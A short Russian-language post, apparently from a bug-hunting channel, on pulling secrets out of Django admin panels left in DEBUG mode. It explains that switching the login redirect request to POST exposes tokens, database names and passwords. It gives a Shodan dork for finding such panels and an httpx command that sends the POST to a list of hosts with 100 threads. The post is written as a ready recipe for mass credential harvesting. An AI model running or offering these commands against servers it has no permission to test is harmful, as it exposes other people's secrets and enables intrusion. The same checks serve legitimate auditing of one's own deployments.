​​📇 Получение конфиденциальной информации в админ панелях Django



Это довольно легкий способ поиска критической уязвимости. Если в Django включен DEBUG мод, мы можем изменить запрос на POST и получить вывод с критической информацией, содержащей токены, имена баз данных и пароли от сервера и др.



При обращении к:



https://target/admin



Нас перенаправляет на:



https://target/admin/login/?next=/admin/



Достаточно поменять запрос на POST и мы получим интересный вывод от DEBUG мода (см. скрин снизу).



Искать подобные панели можно в Shodan с помощью дорка:



html:"/login/?next/=" title:"Django"



А если у вас есть список хостов и вы хотите пройтись проверкой по этому списку, то можете использовать httpx:



httpx -l hosts.txt -threads 100 -x POST -paths /admin/login/?next=/admin/ -title -tech-detect -status-code -follow-redirects



#web #django